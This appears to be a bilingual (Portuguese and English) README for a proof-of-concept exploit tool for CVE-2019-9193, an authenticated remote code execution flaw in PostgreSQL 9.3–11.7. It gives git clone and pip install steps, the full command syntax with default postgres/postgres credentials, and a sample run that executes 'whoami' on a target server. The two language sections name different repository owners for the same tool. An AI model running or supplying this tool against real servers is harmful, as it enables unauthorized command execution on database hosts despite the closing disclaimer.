
Ferramenta PoC desenvolvida para explorar uma vulnerabilidade autenticada de Execução Remota de Código (RCE) em certas versões do PostgreSQL (9.3 - 11.7)
GenPostgresRCEExploit é uma ferramenta PoC projetada para explorar uma vulnerabilidade de Execução Remota de Código (RCE) autenticada em certas versões do PostgreSQL (9.3 - 11.7). Ela permite que usuários autenticados executem comandos do sistema em um servidor de banco de dados PostgreSQL vulnerável ao CVE-2019-9193.
psycopg2 via pip)libpq-dev via apt)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <ip_alvo> -p <porta> -d <nome_banco> -U <usuário> -P <senha> -c "<comando_sistema>"
-i, --ip: Endereço IP do servidor PostgreSQL (Padrão: 127.0.0.1)-p, --port: Porta do servidor PostgreSQL (Padrão: 5432)-d, --database: Nome do banco de dados PostgreSQL (Padrão: template1)-U, --user: Nome de usuário para conectar ao servidor PostgreSQL (Padrão: postgres)-P, --password: Senha para conectar ao servidor PostgreSQL (Padrão: postgres)-c, ---command: Comando do sistema a ser executado no servidor-t, --timeout: Tempo limite de conexão em segundos (Padrão: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
Este exemplo conecta ao servidor PostgreSQL em 192.168.1.10, autentica com as credenciais fornecidas e executa o comando whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Esta ferramenta é destinada apenas para fins educacionais e testes éticos. O uso não autorizado desta ferramenta contra qualquer sistema é ilegal e estritamente proibido. Os autores não se responsabilizam por qualquer uso indevido.
GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.
psycopg2 package)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)-p, --port: PostgreSQL server port (Default: 5432)-d, --database: PostgreSQL database name (Default: template1)-U, --user: Username to connect to the PostgreSQL server (Default: postgres)-P, --password: Password to connect to PostgreSQL server (Default: postgres)-c, --command: System command to execute on the server-t, --timeout: Connection timeout in seconds (Default: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.